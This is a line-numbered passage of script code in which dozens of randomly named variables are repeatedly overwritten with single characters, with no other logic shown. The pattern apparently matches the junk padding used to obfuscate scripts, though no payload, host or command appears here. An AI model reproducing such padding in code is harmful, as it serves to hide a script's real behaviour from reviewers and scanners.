427	fkzzuukhd = "D";
428	fkzzuukhd = "Z";
429	fkzzuukhd = "G";
430	fkzzuukhd = "r";
431	fkzzuukhd = "k";
432	fkzzuukhd = "O";
433	fkzzuukhd = "r";
434	fkzzuukhd = "w";
435	fkzzuukhd = "C";
436	ibfzqikut = "v";
437	ibfzqikut = "u";
438	ibfzqikut = "Y";
439	ibfzqikut = "d";
440	ibfzqikut = "u";
441	ibfzqikut = "y";
442	ibfzqikut = "g";
443	ibfzqikut = "v";
444	ibfzqikut = "L";
445	ibfzqikut = "P";
446	ibfzqikut = "t";
447	ibfzqikut = "L";
448	ibfzqikut = "S";
449	ibfzqikut = "c";
450	ibfzqikut = "C";
451	ibfzqikut = "o";
452	ibfzqikut = "p";
453	ibfzqikut = "D";
454	ibfzqikut = "w";
455	ibfzqikut = "s";
456	ibfzqikut = "N";
457	ibfzqikut = "7";
458	dntjxk = "h";
459	dntjxk = "Q";
460	dntjxk = "p";
461	dntjxk = "D";
462	dntjxk = "r";
463	dntjxk = "q";
464	dntjxk = "C";
465	dntjxk = "H";
466	dntjxk = "W";
467	dntjxk = "j";
468	dntjxk = "o";
469	dntjxk = "G";
470	dntjxk = "R";
471	dntjxk = "A";
472	dntjxk = "j";
473	dntjxk = "A";
474	dntjxk = "u";
475	dntjxk = "h";
476	dntjxk = "H";
477	dntjxk = "f";
478	dntjxk = "K";
479	dntjxk = "i";
480	dntjxk = "M";
481	dntjxk = "V";
482	dntjxk = "L";
483	dntjxk = "t";
484	dntjxk = "G";
485	dntjxk = "M";
486	dntjxk = "v";
487	dntjxk = "k";
488	dntjxk = "k";
489	dntjxk = "r";
490	dntjxk = "V";
491	dntjxk = "m";
492	dntjxk = "r";
493	dntjxk = "s";
494	dntjxk = "C";
495	dntjxk = "p";
496	yiyrccl = "F";
497	yiyrccl = "k";
498	yiyrccl = "m";
499	yiyrccl = "B";
500	yiyrccl = "H";
501	yiyrccl = "x";
502	yiyrccl = "v";
503	yiyrccl = "n";
504	yiyrccl = "Y";
505	yiyrccl = "J";
506	yiyrccl = "S";
507	yiyrccl = "m";
508	yiyrccl = "Q";
509	yiyrccl = "v";
510	yiyrccl = "L";
511	yiyrccl = "Y";
512	yiyrccl = "z";
513	yiyrccl = "w";
514	zjxnoq = "O";
515	zjxnoq = "c";
516	zjxnoq = "r";
517	zjxnoq = "G";
518	zjxnoq = "J";
519	zjxnoq = "R";
520	zjxnoq = "Z";
521	zjxnoq = "S";
522	zjxnoq = "v";
523	zjxnoq = "e";
524	zjxnoq = "n";
525	zjxnoq = "u";
526	zjxnoq = "s";
527	zjxnoq = "q";
528	zjxnoq = "I";
529	zjxnoq = "f";
530	zjxnoq = "B";
531	zjxnoq = "w";
532	zjxnoq = "w";
533	zjxnoq = "T";
534	zjxnoq = "p";
535	zjxnoq = "d";
536	zjxnoq = "X";
537	zjxnoq = "d";
538	zjxnoq = " ";
539	hlpjlmgr = "T";
540	hlpjlmgr = "k";
541	hlpjlmgr = "W";
542	hlpjlmgr = "I";
543	hlpjlmgr = "i";
544	hlpjlmgr = "n";
545	hlpjlmgr = "E";
546	hlpjlmgr = "Q";
547	hlpjlmgr = "d";
548	hlpjlmgr = "O";
549	hlpjlmgr = "d";
550	hlpjlmgr = "B";
551	hlpjlmgr = "P";
552	hlpjlmgr = "k";
553	hlpjlmgr = "r";
554	hlpjlmgr = "C";
555	hlpjlmgr = "u";
556	hlpjlmgr = "V";
557	hlpjlmgr = "z";
558	hlpjlmgr = "p";
559	hlpjlmgr = "0";
560	rhoxuympi = "l";
561	rhoxuympi = "D";
562	rhoxuympi = "q";
563	rhoxuympi = "G";
564	rhoxuympi = "S";
565	rhoxuympi = "w";
566	rhoxuympi = "i";
567	rhoxuympi = "i";
568	rhoxuympi = "C";
569	rhoxuympi = "L";
570	rhoxuympi = "S";
571	rhoxuympi = "N";
572	rhoxuympi = "Z";
573	rhoxuympi = "o";
574	rhoxuympi = "O";
575	rhoxuympi = "I";
576	rhoxuympi = "I";
577	rhoxuympi = "H";
578	rhoxuympi = "K";
579	rhoxuympi = "n";
580	rhoxuympi = "u";
581	rhoxuympi = "j";
582	rhoxuympi = "I";
583	rhoxuympi = "S";
584	rhoxuympi = "m";
585	rhoxuympi = "x";
586	rhoxuympi = "w";
587	rhoxuympi = "h";
588	rhoxuympi = "Y";
589	rhoxuympi = "T";
590	rhoxuympi = "v";
591	rhoxuympi = "t";
592	rhoxuympi = "U";
593	rhoxuympi = "l";
594	rhoxuympi = "/";
595	dpyycns = "g";
596	dpyycns = "c";
597	dpyycns = "s";
598	dpyycns = "V";
599	dpyycns = "Q";
600	dpyycns = "B";
601	dpyycns = "d";
602	dpyycns = "b";
603	dpyycns = "F";
604	dpyycns = "E";
605	dpyycns = "H";
606	dpyycns = "F";
607	dpyycns = "d";
608	dpyycns = "A";
609	dpyycns = "W";
610	dpyycns = "p";
611	dpyycns = "K";
612	dpyycns = "M";
613	dpyycns = "U";
614	dpyycns = "j";
615	dpyycns = "P";
616	dpyycns = "Q";
617	dpyycns = "S";
618	dpyycns = "G";
619	dpyycns = "B";
620	dpyycns = "T";
621	dpyycns = "P";
622	dpyycns = "y";
623	dpyycns = "T";
624	dpyycns = "w";
625	dpyycns = "i";
626	dpyycns = "j";
627	dpyycns = "c";
628	dpyycns = "O";
629	dpyycns = "V";
630	dpyycns = "t";
631	btbhjtoo = "H";
632	btbhjtoo = "X";
633	btbhjtoo = "V";
634	btbhjtoo = "p";
635	btbhjtoo = "V";
636	btbhjtoo = "e";
637	btbhjtoo = "G";
638	btbhjtoo = "w";
639	btbhjtoo = "k";
640	btbhjtoo = "J";
641	btbhjtoo = "w";
642	btbhjtoo = "c";
643	btbhjtoo = "V";
644	btbhjtoo = "f";
645	btbhjtoo = "U";
646	btbhjtoo = "K";
647	btbhjtoo = "d";
648	btbhjtoo = "j";
649	btbhjtoo = "R";
650	cfoqfqetf = "s";
651	cfoqfqetf = "b";
652	zcfmfw = "p";
653	zcfmfw = "F";
654	zcfmfw = "G";
655	zcfmfw = "P";
656	zcfmfw = "C";
657	zcfmfw = "V";
658	zcfmfw = "o";
659	zcfmfw = "W";
660	zcfmfw = "x";
661	zcfmfw = "P";
662	zcfmfw = "H";
663	zcfmfw = "Y";
664	zcfmfw = "p";
665	zcfmfw = "g";
666	zcfmfw = "i";
667	zcfmfw = "V";
668	zcfmfw = "p";
669	zcfmfw = "V";
670	zcfmfw = "J";
671	zcfmfw = "j";
672	zcfmfw = "h";
673	zcfmfw = "X";
674	zcfmfw = "m";
675	zcfmfw = "s";
676	zcfmfw = "k";
677	zcfmfw = "j";
678	zcfmfw = "y";
679	zcfmfw = "w";
680	zcfmfw = "f";
681	zcfmfw = "s";
682	zcfmfw = "x";
683	zcfmfw = "d";
684	zcfmfw = "T";
685	zcfmfw = "I";
686	zcfmfw = "M";
687	zcfmfw = "e";
688	pwfnlbxj = "z";
689	pwfnlbxj = "N";
690	pwfnlbxj = "O";
691	pwfnlbxj = "R";
692	pwfnlbxj = "r";
693	pwfnlbxj = "C";
694	pwfnlbxj = "G";
695	pwfnlbxj = "W";
696	pwfnlbxj = "E";
697	pwfnlbxj = "s";
698	pwfnlbxj = "R";
699	pwfnlbxj = "d";
700	pwfnlbxj = "R";
701	pwfnlbxj = "U";
702	pwfnlbxj = "j";
703	pwfnlbxj = "U";
704	pwfnlbxj = "r";
705	pwfnlbxj = "H";
706	pwfnlbxj = "o";
707	pwfnlbxj = "l";
708	pwfnlbxj = "k";
709	pwfnlbxj = "n";
710	pwfnlbxj = "D";
711	pwfnlbxj = "S";
712	pwfnlbxj = "U";
713	pwfnlbxj = "y";
714	pwfnlbxj = "e";
715	pwfnlbxj = "y";
716	pwfnlbxj = "a";
717	furgir = "c";
718	furgir = "y";
719	furgir = "h";
720	furgir = "v";
721	furgir = "S";
722	furgir = "z";
723	furgir = "P";
724	furgir = "o";
725	furgir = "P";
726	furgir = "j";
727	furgir = "V";
728	furgir = "Z";
729	furgir = "p";
730	furgir = "r";
731	furgir = "b";
732	furgir = "a";
733	furgir = "l";
734	furgir = "i";
735	furgir = "D";
736	furgir = "e";
737	furgir = "b";
738	furgir = "f";
739	furgir = "q";
740	furgir = "S";
741	furgir = "o";
742	furgir = "Q";
743	nzuejf = "X";
744	nzuejf = "Y";
745	nzuejf = "K";
746	nzuejf = "w";
747	nzuejf = "b";
748	nzuejf = "B";
749	nzuejf = "f";
750	nzuejf = "k";
751	nzuejf = "J";
752	nzuejf = "x";
753	nzuejf = "r";
754	nzuejf = "D";
755	nzuejf = "Y";
756	nzuejf = "d";
757	nzuejf = "P";
758	nzuejf = "N";
759	nzuejf = "q";
760	nzuejf = "j";
761	hxpkfg = "k";
762	hxpkfg = "Z";
763	hxpkfg = "E";
764	hxpkfg = "s";
765	hxpkfg = "a";
766	hxpkfg = "N";
767	hxpkfg = "u";
768	hxpkfg = "O";
769	hxpkfg = "E";
770	hxpkfg = "M";
771	hxpkfg = "V";
772	hxpkfg = "o";
773	hxpkfg = "f";
774	hxpkfg = "C";
775	hxpkfg = "M";
776	hxpkfg = "g";
777	hxpkfg = "E";
778	hxpkfg = "D";
779	hxpkfg = "D";
780	hxpkfg = "K";
781	hxpkfg = "D";
782	hxpkfg = "M";
783	hxpkfg = "F";
784	hxpkfg = "t";
785	hxpkfg = "n";
786	hxpkfg = "C";
787	hxpkfg = "L";
788	hxpkfg = "j";
789	hxpkfg = "q";
790	hxpkfg = "M";
791	hxpkfg = "k";
792	hxpkfg = "d";
793	hxpkfg = "H";
794	hxpkfg = "8";
795	hbwqifs = "c";
796	hbwqifs = "D";
797	hbwqifs = "j";
798	hbwqifs = "A";
799	hbwqifs = "G";
800	hbwqifs = "w";
801	hbwqifs = "j";
802	hbwqifs = "f";
803	hbwqifs = "g";
804	hbwqifs = "M";
805	hbwqifs = "g";
806	hbwqifs = "R";
807	hbwqifs = "a";
808	hbwqifs = "y";
809	hbwqifs = "A";
810	hbwqifs = "Z";
811	hbwqifs = "v";
812	hbwqifs = "b";
813	hbwqifs = "s";
814	hbwqifs = "n";
815	hbwqifs = "T";
816	hbwqifs = "M";
817	hbwqifs = "x";
818	hbwqifs = "K";
819	hbwqifs = "V";
820	hbwqifs = "e";
821	hbwqifs = "f";
822	hbwqifs = "w";
823	hbwqifs = "p";
824	hbwqifs = "M";
825	hbwqifs = "i";
826	hbwqifs = "Z";
827	hbwqifs = "i";
828	hbwqifs = "5";
829	bgtnbqca = "k";
830	bgtnbqca = "p";
831	bgtnbqca = "q";
832	bgtnbqca = "z";
833	bgtnbqca = "q";
834	bgtnbqca = "g";
835	bgtnbqca = "f";
836	bgtnbqca = "p";
837	bgtnbqca = "e";
838	bgtnbqca = "m";
839	bgtnbqca = "G";
840	bgtnbqca = "M";
841	bgtnbqca = "Z";
842	bgtnbqca = "s";
843	bgtnbqca = "L";
844	bgtnbqca = "C";
845	bgtnbqca = "k";
846	bgtnbqca = "T";
847	bgtnbqca = "L";
848	bgtnbqca = "b";
849	bgtnbqca = "y";
850	bgtnbqca = "D";
851	bgtnbqca = ":";
852	alzktv = "S";
853	alzktv = "N";
854	alzktv = "t";
855	alzktv = "f";
856	alzktv = "P";
857	alzktv = "e";
858	alzktv = "B";
859	alzktv = "h";
860	alzktv = "a";
861	alzktv = "N";
862	alzktv = "G";
863	alzktv = "n";
864	alzktv = "N";
865	alzktv = "X";
866	alzktv = "c";
867	etfabfpwf = "n";
868	etfabfpwf = "Z";
869	etfabfpwf = "b";
870	etfabfpwf = "M";
871	etfabfpwf = "y";
872	etfabfpwf = "Z";
873	etfabfpwf = "N";
874	etfabfpwf = "e";
875	etfabfpwf = "y";
876	etfabfpwf = "z";
877	etfabfpwf = "I";
878	etfabfpwf = "A";
879	etfabfpwf = "B";
880	etfabfpwf = "T";
881	etfabfpwf = "f";
882	etfabfpwf = "W";
883	etfabfpwf = "u";
884	etfabfpwf = "k";
885	etfabfpwf = "y";
886	etfabfpwf = "d";
887	etfabfpwf = "E";
888	etfabfpwf = "N";
889	etfabfpwf = "Y";
890	etfabfpwf = "H";
891	etfabfpwf = "V";
892	etfabfpwf = "q";
893	etfabfpwf = "h";
894	etfabfpwf = "U";
895	etfabfpwf = "j";
896	etfabfpwf = "L";
897	etfabfpwf = "T";
898	etfabfpwf = "H";
899	etfabfpwf = "H";
900	etfabfpwf = "Q";
901	etfabfpwf = "C";
902	etfabfpwf = "n";
903	sirnwvkar = "k";
904	sirnwvkar = "T";
905	sirnwvkar = "F";
906	sirnwvkar = "x";
907	sirnwvkar = "I";
908	sirnwvkar = "U";
909	sirnwvkar = "S";
910	sirnwvkar = "u";
911	sirnwvkar = "L";
912	sirnwvkar = ".";
913	iwpsskm = "L";
914	iwpsskm = "a";
915	iwpsskm = "J";
916	iwpsskm = "z";
917	iwpsskm = "W";
918	iwpsskm = "s";
919	iwpsskm = "E";
920	iwpsskm = "H";
921	iwpsskm = "b";
922	iwpsskm = "H";
923	iwpsskm = "v";
924	iwpsskm = "w";
925	iwpsskm = "B";
926	iwpsskm = "e";
927	iwpsskm = "y";
928	iwpsskm = "Y";
929	iwpsskm = "H";
930	iwpsskm = "c";
931	iwpsskm = "Z";
932	iwpsskm = "r";
933	iwpsskm = "B";
934	iwpsskm = "C";
935	iwpsskm = "o";
936	iwpsskm = "N";
937	iwpsskm = "o";
938	iwpsskm = "k";
939	iwpsskm = "C";
940	iwpsskm = "y";
941	iwpsskm = "O";
942	iwpsskm = "n";
943	iwpsskm = "T";
944	iwpsskm = "e";
945	iwpsskm = "A";
946	iwpsskm = "b";
947	iwpsskm = "v";
948	iwpsskm = "E";
949	iwpsskm = "h";
950	iwpsskm = "c";
951	iwpsskm = "i";
952	iwpsskm = "z";
953	iwpsskm = "c";
954	iwpsskm = "i";
955	iwpsskm = "s";
956	enlab = "m";
957	enlab = "v";
958	enlab = "w";
959	enlab = "n";
960	enlab = "r";
961	enlab = "w";
962	enlab = "q";
963	enlab = "N";
964	enlab = "o";
965	enlab = "I";
966	enlab = "w";
967	enlab = "a";
968	enlab = "K";
969	enlab = "n";
970	enlab = "h";
971	enlab = "U";
972	enlab = "V";
973	enlab = "E";
974	enlab = "G";
975	enlab = "I";
976	enlab = "s";
977	enlab = "O";
978	enlab = "o";
979	lkqsxyj = "E";
980	lkqsxyj = "E";
981	lkqsxyj = "y";
982	lkqsxyj = "n";
983	lkqsxyj = "z";
984	lkqsxyj = "p";
985	lkqsxyj = "j";
986	lkqsxyj = "H";
987	lkqsxyj = "w";
988	lkqsxyj = "T";
989	lkqsxyj = "q";
990	lkqsxyj = "d";
991	lkqsxyj = "N";
992	lkqsxyj = "v";
993	lkqsxyj = "m";
994	lkqsxyj = "B";
995	lkqsxyj = "G";
996	lkqsxyj = "A";
997	lkqsxyj = "l";
998	lkqsxyj = "H";
999	lkqsxyj = "m";
1000	lkqsxyj = "f";
1001	lkqsxyj = "I";
1002	lkqsxyj = "A";
1003	lkqsxyj = "k";
1004	lkqsxyj = "g";
1005	lkqsxyj = "J";
1006	lkqsxyj = "T";
1007	lkqsxyj = "I";
1008	lkqsxyj = "h";
1009	lkqsxyj = "o";
1010	lkqsxyj = "j";
1011	lkqsxyj = "G";
1012	lkqsxyj = "m";
1013	lkqsxyj = "U";
1014	frjzlubub = "d";
1015	frjzlubub = "H";
1016	frjzlubub = "Q";
1017	frjzlubub = "x";
1018	frjzlubub = "T";
1019	frjzlubub = "K";
1020	frjzlubub = "R";
1021	frjzlubub = "N";
1022	frjzlubub = "c";
1023	frjzlubub = "A";
1024	frjzlubub = "a";
1025	frjzlubub = "u";
1026	frjzlubub = "M";
1027	frjzlubub = "N";
1028	frjzlubub = "b";
1029	frjzlubub = "v";
1030	frjzlubub = "Y";
1031	frjzlubub = "p";
1032	frjzlubub = "o";
1033	frjzlubub = "o";
1034	frjzlubub = "o";
1035	frjzlubub = "V";
1036	frjzlubub = "g";
1037	frjzlubub = "y";
1038	frjzlubub = "T";
1039	frjzlubub = "z";
1040	frjzlubub = "z";
1041	frjzlubub = "z";
1042	frjzlubub = "U";
1043	frjzlubub = "D";
1044	frjzlubub = "P";
1045	frjzlubub = "M";
1046	frjzlubub = "F";
1047	frjzlubub = "w";
1048	frjzlubub = "i";
1049	frjzlubub = "u";
1050	frjzlubub = "U";
1051	frjzlubub = "z";
1052	frjzlubub = "x";
1053	frjzlubub = "l";
1054	frjzlubub = "d";
1055	frjzlubub = "P";
1056	frjzlubub = "h";
1057	frjzlubub = "l";
1058	frjzlubub = "H";
1059	dxsnplwwa = "u";
1060	dxsnplwwa = "m";
1061	dxsnplwwa = "m";
1062	dxsnplwwa = "w";
1063	dxsnplwwa = "m";
1064	dxsnplwwa = "J";
1065	dxsnplwwa = "P";
1066	dxsnplwwa = "K";
1067	dxsnplwwa = "Z";
1068	dxsnplwwa = "G";
1069	dxsnplwwa = "W";
1070	dxsnplwwa = "I";
1071	dxsnplwwa = "h";
1072	dxsnplwwa = "f";
1073	dxsnplwwa = "k";
1074	dxsnplwwa = "L";
1075	dxsnplwwa = "V";
1076	dxsnplwwa = "K";
1077	dxsnplwwa = "L";
1078	mvavptr = "Z";
1079	mvavptr = "F";
1080	mvavptr = "a";
1081	mvavptr = "D";
1082	mvavptr = "x";
1083	mvavptr = "c";
1084	mvavptr = "R";
1085	mvavptr = "Z";
1086	mvavptr = "z";
1087	mvavptr = "A";
1088	mvavptr = "Z";
1089	mvavptr = "K";
1090	mvavptr = "v";
1091	mvavptr = "s";
1092	mvavptr = "d";
1093	mvavptr = "W";
1094	mvavptr = "M";
1095	mvavptr = "F";
1096	mvavptr = "f";
1097	mvavptr = "D";
1098	mvavptr = "u";
1099	mvavptr = "n";
1100	mvavptr = "P";
1101	mvavptr = "R";
1102	mvavptr = "C";
1103	mvavptr = "M";
1104	mvavptr = "u";
1105	mvavptr = "f";
1106	mvavptr = "n";
1107	mvavptr = "n";
1108	mvavptr = "\\";
1109	ydmpzjr = "v";
1110	ydmpzjr = "w";
1111	ydmpzjr = "J";
1112	ydmpzjr = "S";
1113	ydmpzjr = "C";
1114	ydmpzjr = "P";
1115	ydmpzjr = "g";
1116	ydmpzjr = "G";
1117	ydmpzjr = "Z";
1118	ydmpzjr = "o";
1119	ydmpzjr = "G";
1120	ydmpzjr = "Z";
1121	ydmpzjr = "b";
1122	ydmpzjr = "A";
1123	ydmpzjr = "Z";
1124	ydmpzjr = "x";
1125	ydmpzjr = "c";
1126	ydmpzjr = "T";
1127	ydmpzjr = "M";
1128	ydmpzjr = "E";
1129	ydmpzjr = "I";
1130	ydmpzjr = "d";
1131	ydmpzjr = "n";
1132	ydmpzjr = "2";
1133	vbmyfie = "l";
1134	vbmyfie = "B";
1135	vbmyfie = "a";
1136	vbmyfie = "V";
1137	vbmyfie = "r";
1138	vbmyfie = "n";
1139	vbmyfie = "A";
1140	vbmyfie = "L";
1141	vbmyfie = "o";
1142	vbmyfie = "u";
1143	vbmyfie = "v";
1144	vbmyfie = "R";
1145	vbmyfie = "F";
1146	kommf = "T";
1147	kommf = "m";
1148	kommf = "C";
1149	kommf = "V";
1150	kommf = "j";
1151	kommf = "Q";
1152	kommf = "o";
1153	kommf = "O";
1154	kommf = "c";
1155	kommf = "b";
1156	kommf = "H";
1157	kommf = "x";
1158	kommf = "n";
1159	kommf = "U";
1160	kommf = "i";
1161	kommf = "C";
1162	kommf = "e";
1163	kommf = "Z";
1164	kommf = "G";
1165	kommf = "l";
1166	kommf = "N";
1167	kommf = "h";
1168	guwmsuur = "N";
1169	guwmsuur = "f";
1170	guwmsuur = "v";
1171	guwmsuur = "Z";
1172	guwmsuur = "R";
1173	guwmsuur = "X";
1174	guwmsuur = "E";
1175	guwmsuur = "x";
1176	guwmsuur = "L";
1177	guwmsuur = "q";
1178	guwmsuur = "U";
1179	guwmsuur = "f";
1180	guwmsuur = "b";
1181	guwmsuur = "g";
1182	guwmsuur = "p";
1183	guwmsuur = "x";
1184	guwmsuur = "T";
1185	guwmsuur = "b";
1186	guwmsuur = "Z";
1187	guwmsuur = "i";
1188	guwmsuur = "B";
1189	guwmsuur = "v";
1190	guwmsuur = "p";
1191	guwmsuur = "v";
1192	guwmsuur = "s";
1193	guwmsuur = "M";
1194	guwmsuur = "Y";
1195	khzsufsli = "B";
1196	khzsufsli = "S";
1197	khzsufsli = "l";
1198	khzsufsli = "e";
1199	khzsufsli = "t";
1200	khzsufsli = "d";
1201	khzsufsli = "M";
1202	khzsufsli = "d";
1203	khzsufsli = "T";
1204	khzsufsli = "t";
1205	khzsufsli = "x";
1206	khzsufsli = "H";
1207	khzsufsli = "g";
1208	khzsufsli = "Y";
1209	khzsufsli = "N";
1210	khzsufsli = "Q";
1211	khzsufsli = "M";
1212	khzsufsli = "K";
1213	khzsufsli = "e";
1214	khzsufsli = "Z";
1215	khzsufsli = "P";
1216	khzsufsli = "W";
1217	khzsufsli = "K";
1218	khzsufsli = "p";
1219	khzsufsli = "E";
1220	khzsufsli = "G";
1221	khzsufsli = "O";
1222	khzsufsli = "b";
1223	khzsufsli = "U";
1224	khzsufsli = "g";
1225	khzsufsli = "B";
1226	khzsufsli = "j";
1227	khzsufsli = "O";
1228	khzsufsli = "Z";
1229	khzsufsli = "w";
1230	khzsufsli = "m";
1231	khzsufsli = "u";
1232	khzsufsli = "r";
1233	khzsufsli = "k";
1234	khzsufsli = "P";
1235	khzsufsli = "e";
1236	khzsufsli = "k";
1237	vvlakcqb = "S";
1238	vvlakcqb = "h";
1239	vvlakcqb = "T";
1240	vvlakcqb = "p";
1241	vvlakcqb = "W";
1242	vvlakcqb = "c";
1243	vvlakcqb = "j";
1244	vvlakcqb = "R";
1245	vvlakcqb = "g";
1246	vvlakcqb = "P";
1247	vvlakcqb = "U";
1248	vvlakcqb = "h";
1249	vvlakcqb = "v";
1250	vvlakcqb = "U";
1251	vvlakcqb = "v";
1252	vvlakcqb = "T";
1253	vvlakcqb = "v";
1254	vvlakcqb = "e";
1255	vvlakcqb = "_";
1256	dinvylmdk = "q";
1257	dinvylmdk = "H";
1258	dinvylmdk = "l";
1259	dinvylmdk = "M";
1260	dinvylmdk = "K";
1261	dinvylmdk = "J";
1262	dinvylmdk = "k";
1263	dinvylmdk = "r";
1264	dinvylmdk = "Y";
1265	dinvylmdk = "E";
1266	dinvylmdk = "g";
1267	dinvylmdk = "Z";
1268	dinvylmdk = "i";
1269	dinvylmdk = "d";
1270	dinvylmdk = "v";
1271	dinvylmdk = "M";
1272	dinvylmdk = "Q";
1273	dinvylmdk = "o";
1274	dinvylmdk = "N";
1275	dinvylmdk = "H";
1276	dinvylmdk = "G";
1277	dinvylmdk = "d";
1278	dinvylmdk = "b";
1279	dinvylmdk = "m";
1280	dinvylmdk = "U";
1281	dinvylmdk = "K";
1282	dinvylmdk = "q";
1283	dinvylmdk = "W";
1284	dinvylmdk = "k";
1285	dinvylmdk = "M";
1286	dinvylmdk = "T";
1287	dinvylmdk = "N";
1288	dinvylmdk = "O";
1289	dinvylmdk = "q";
1290	dinvylmdk = "H";
1291	dinvylmdk = "r";
1292	dinvylmdk = "f";
1293	dinvylmdk = "x";
1294	dinvylmdk = "O";
1295	dinvylmdk = "w";
1296	dinvylmdk = "O";
1297	dinvylmdk = "K";
1298	oehat = "f";
1299	oehat = "Y";
1300	oehat = "P";
1301	oehat = "c";
1302	oehat = "U";
1303	oehat = "h";
1304	oehat = "L";
1305	oehat = "S";
1306	oehat = "i";
1307	oehat = "k";
1308	oehat = "b";
1309	oehat = "R";
1310	oehat = "q";
1311	oehat = "Q";
1312	oehat = "A";
1313	oehat = "3";
1314	kvjgp = "C";
1315	kvjgp = "T";
1316	kvjgp = "a";
1317	kvjgp = "P";
1318	kvjgp = "H";
1319	kvjgp = "W";
1320	kvjgp = "a";
1321	kvjgp = "M";
1322	kvjgp = "v";
1323	kvjgp = "u";
1324	kvjgp = "b";
1325	kvjgp = "P";
1326	kvjgp = "L";
1327	kvjgp = "c";
1328	kvjgp = "u";
1329	kvjgp = "u";
1330	kvjgp = "Y";
1331	kvjgp = "X";
1332	kvjgp = "B";
1333	kvjgp = "C";
1334	kvjgp = "V";
1335	kvjgp = "A";
1336	kvjgp = "s";
1337	kvjgp = "F";
1338	kvjgp = "w";
1339	kvjgp = "w";
1340	kvjgp = "u";
1341	kvjgp = "m";
1342	kvjgp = "C";
1343	kvjgp = "h";
1344	kvjgp = "Y";
1345	kvjgp = "r";
1346	kvjgp = "d";
1347	kvjgp = "T";
1348	kvjgp = "r";
1349	kvjgp = "r";
1350	kvjgp = "L";
1351	kvjgp = "n";
1352	kvjgp = "M";
1353	kvjgp = "m";
1354	kvjgp = "H";
1355	kvjgp = "x";
1356	jhrtfky = "X";
1357	jhrtfky = "u";
1358	jhrtfky = "k";
1359	jhrtfky = "U";
1360	jhrtfky = "O";
1361	jhrtfky = "p";
1362	jhrtfky = "N";
1363	jhrtfky = "V";
1364	jhrtfky = "n";
1365	jhrtfky = "U";
1366	jhrtfky = "B";
1367	jhrtfky = "Y";
1368	jhrtfky = "v";
1369	jhrtfky = "s";
1370	jhrtfky = "a";
1371	jhrtfky = "d";
1372	jhrtfky = "q";
1373	jhrtfky = "l";
1374	jhrtfky = "m";
1375	jhrtfky = "b";
1376	jhrtfky = "J";
1377	jhrtfky = "H";
1378	jhrtfky = "M";
1379	jhrtfky = "u";
1380	jhrtfky = "j";
1381	jhrtfky = "j";
1382	jhrtfky = "S";
1383	jhrtfky = "P";
1384	jhrtfky = "P";
1385	jhrtfky = "z";
1386	jhrtfky = "M";
1387	jhrtfky = "h";
1388	jhrtfky = "Z";
1389	jhrtfky = "A";
1390	jhrtfky = "S";
1391	jhrtfky = "I";
1392	vszmif = "I";
1393	vszmif = "T";
1394	vszmif = "P";
1395	vszmif = "S";
1396	vszmif = "y";
1397	vszmif = "W";
1398	vszmif = "e";
1399	vszmif = "D";
1400	vszmif = "Q";
1401	vszmif = "e";
1402	vszmif = "b";
1403	vszmif = "r";
1404	vszmif = "N";
1405	vszmif = "V";
1406	vszmif = "r";
1407	vszmif = "N";
1408	vszmif = "t";
1409	vszmif = "S";
1410	vszmif = "h";
1411	vszmif = "p";
1412	vszmif = "H";
1413	vszmif = "V";
1414	vszmif = "P";
1415	vszmif = "t";
1416	vszmif = "X";
1417	vszmif = "W";
1418	vszmif = "W";
1419	vszmif = "i";
1420	vszmif = "D";
1421	vszmif = "u";
1422	vszmif = "s";
1423	vszmif = "v";
1424	vszmif = "j";
1425	vszmif = "L";
1426	vszmif = "j";
1427	vszmif = "X";
1428	vszmif = "q";
1429	vszmif = "u";
1430	vszmif = "i";
1431	vszmif = "o";
1432	vszmif = "T";
1433	quduyfwzs = "z";
1434	quduyfwzs = "h";
1435	quduyfwzs = "q";
1436	quduyfwzs = "u";
1437	quduyfwzs = "E";
1438	mnicka = "w";
1439	mnicka = "d";
1440	mnicka = "X";
1441	mnicka = "A";
1442	mnicka = "m";
1443	mnicka = "u";
1444	mnicka = "M";
1445	mnicka = "a";
1446	mnicka = "x";
1447	mnicka = "g";
1448	lajgrzkp = "H";
1449	lajgrzkp = "R";
1450	lajgrzkp = "B";
1451	lajgrzkp = "g";
1452	lajgrzkp = "m";
1453	lajgrzkp = "P";
1454	lajgrzkp = "w";
1455	lajgrzkp = "k";
1456	lajgrzkp = "J";
1457	lajgrzkp = "W";
1458	lajgrzkp = "h";
1459	lajgrzkp = "G";
1460	lajgrzkp = "A";
1461	lajgrzkp = "Q";
1462	lajgrzkp = "a";
1463	lajgrzkp = "P";
1464	bmaby = "S";
1465	bmaby = "q";
1466	bmaby = "w";
1467	bmaby = "W";
1468	bmaby = "F";
1469	bmaby = "N";
1470	bmaby = "R";
1471	bmaby = "D";
1472	bmaby = "y";
1473	bmaby = "Q";
1474	bmaby = "Q";
1475	bmaby = "g";
1476	bmaby = "a";
1477	bmaby = "z";
1478	bmaby = "R";
1479	bmaby = "f";
1480	bmaby = "F";
1481	bmaby = "V";
1482	bmaby = "q";
1483	bmaby = "g";
1484	bmaby = "P";
1485	bmaby = "R";
1486	bmaby = "R";
1487	bmaby = "W";
1488	bmaby = "l";
1489	bmaby = "K";
1490	bmaby = "T";
1491	bmaby = "w";
1492	bmaby = "e";
1493	bmaby = "d";
1494	bmaby = "K";
1495	bmaby = "s";
1496	bmaby = "g";
1497	bmaby = "n";
1498	bmaby = "g";
1499	bmaby = "L";
1500	bmaby = "M";
1501	bmaby = "n";
1502	bmaby = "H";
1503	bmaby = "O";
1504	bmaby = "z";
1505	bmaby = "T";
1506	bmaby = "B";
1507	bmaby = "N";
1508	dbrnagcgg = "z";
1509	dbrnagcgg = "b";
1510	dbrnagcgg = "C";
1511	dbrnagcgg = "u";
1512	dbrnagcgg = "y";
1513	dbrnagcgg = "A";
1514	dbrnagcgg = "V";
1515	dbrnagcgg = "M";
1516	dbrnagcgg = "v";
1517	dbrnagcgg = "d";
1518	dbrnagcgg = "a";
1519	dbrnagcgg = "m";
1520	dbrnagcgg = "k";
1521	dbrnagcgg = "G";
1522	dbrnagcgg = "p";
1523	dbrnagcgg = "Q";
1524	dbrnagcgg = "q";
1525	dbrnagcgg = "i";
1526	dbrnagcgg = "q";
1527	dbrnagcgg = "Z";
1528	dbrnagcgg = "e";
1529	dbrnagcgg = "O";
1530	dbrnagcgg = "&";
1531	pnxtbwi = "E";
1532	pnxtbwi = "y";
1533	pnxtbwi = "T";
1534	pnxtbwi = "n";
1535	pnxtbwi = "u";
1536	pnxtbwi = "C";
1537	pnxtbwi = "C";
1538	pnxtbwi = "j";
1539	pnxtbwi = "O";
1540	pnxtbwi = "h";
1541	pnxtbwi = "i";
1542	pnxtbwi = "R";
1543	pnxtbwi = "j";
1544	pnxtbwi = "K";
